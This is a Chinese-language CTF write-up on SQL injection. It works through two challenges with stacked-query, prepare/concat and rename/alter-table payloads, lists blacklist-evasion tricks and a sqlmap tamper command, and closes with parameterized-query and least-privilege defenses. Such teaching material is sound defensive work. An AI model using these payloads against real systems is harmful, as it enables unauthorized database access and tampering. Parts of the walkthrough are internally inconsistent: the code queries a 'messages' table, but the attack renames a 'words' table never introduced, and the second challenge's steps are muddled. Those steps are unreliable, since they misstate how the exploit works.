SQL注入攻防实战：从CTF题目看漏洞利用与防御

1. SQL注入漏洞攻防实战解析

最近在复盘几道经典的CTF题目时，发现"[强网杯 2019]随便注"和"[GYCTF2020]Blacklist"这两道SQL注入题非常具有教学意义。作为渗透测试中最高危的漏洞类型，SQL注入在各类CTF竞赛和实际攻防演练中都是必考知识点。今天我就从这两道题入手，带大家深入理解不同防护场景下的注入技巧。

2. [强网杯 2019]随便注题目分析

2.1 题目环境搭建

这道题提供了一个简单的留言板系统，核心功能是通过id参数查询留言内容。服务端代码大致如下：

php复制$id = $_GET['id'];
$sql = "SELECT * FROM messages WHERE id = '$id'";
$result = mysqli_query($conn, $sql);

2.2 基础注入测试

使用经典的单引号测试：

code复制?id=1'

返回SQL语法错误，确认存在字符型注入。进一步测试注释符：

code复制?id=1' --+

页面正常返回，验证注入点可用性。

2.3 信息收集技术

通过order by判断字段数：

code复制?id=1' order by 2--+

成功返回，说明查询结果包含2列。

使用union联合查询时发现过滤了select等关键词：

code复制?id=1' union select 1,2--+

返回非法操作提示，说明存在基础WAF防护。

2.4 绕过防护的堆叠注入

利用mysqli_multi_query特性尝试堆叠注入：

code复制?id=1';show databases--+

成功返回数据库列表，验证堆叠注入可行。

继续获取表结构信息：

code复制?id=1';show tables--+

发现两个表：messages和1919810931114514。

查看列结构：

code复制?id=1';desc `1919810931114514`--+

（注意表名包含数字时需要反引号包裹）

2.5 最终payload构造

由于select被过滤，采用预编译语句方式读取flag：

code复制?id=1';set @sql=concat('sel','ect * from `1919810931114514`');prepare stmt from @sql;execute stmt--+

通过字符串拼接绕过关键词检测，成功获取flag。

3. [GYCTF2020]Blacklist进阶挑战

3.1 题目防护分析

这道题在上一题基础上增加了更严格的黑名单：

• 过滤了select、update、delete等DML语句
• 屏蔽了show、desc等元数据查询
• 禁止handler语法
• 禁用prepare/excute预处理

3.2 突破思路探索

测试发现rename和alter未被过滤：

code复制?id=1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);--+

通过表重命名和字段修改，将flag表伪装成正常查询表。

3.3 完整攻击链

1. 备份原words表结构：

code复制?id=1';create table words1 like words;--+

2. 修改flag表结构匹配查询预期：

code复制?id=1';alter table `1919810931114514` change `flag` `id` varchar(100);--+

3. 交换表名：

code复制?id=1';rename table words to words2; rename table `1919810931114514` to words;--+

4. 触发正常查询获取flag：

code复制?id=1' or 1=1--+

4. 防御方案深度解析

4.1 参数化查询实践

PHP中正确使用预处理：

php复制$stmt = $conn->prepare("SELECT * FROM messages WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();

4.2 多维度防护策略

1. 输入验证：

php复制if(!is_numeric($_GET['id'])){
    die("Invalid input");
}

2. 最小权限原则：

sql复制CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON database.messages TO 'webuser'@'localhost';

3. 深度防御：

• 启用WAF规则
• 定期更新过滤词库
• 关闭错误回显

5. 实战经验总结

1. 堆叠注入利用条件：

• 使用mysqli_multi_query()
• 数据库用户需具备多语句执行权限
• 未启用模拟预处理（PDO::ATTR_EMULATE_PREPARES）

2. 表名处理注意事项：

• 数字开头表名需用反引号包裹
• 特殊字符表名建议hex编码
• 信息_schema在MySQL 5.7+有访问限制

3. 黑名单绕过技巧：

• 大小写变种：SeLeCt
• 注释分割：sel/xxx/ect
• 字符串拼接：concat('sel','ect')
• 编码转换：char(115,101,108,101,99,116)

在真实环境中，建议使用sqlmap的tamper脚本自动化测试各种绕过方式：

bash复制sqlmap -u "http://target.com?id=1" --tamper=space2comment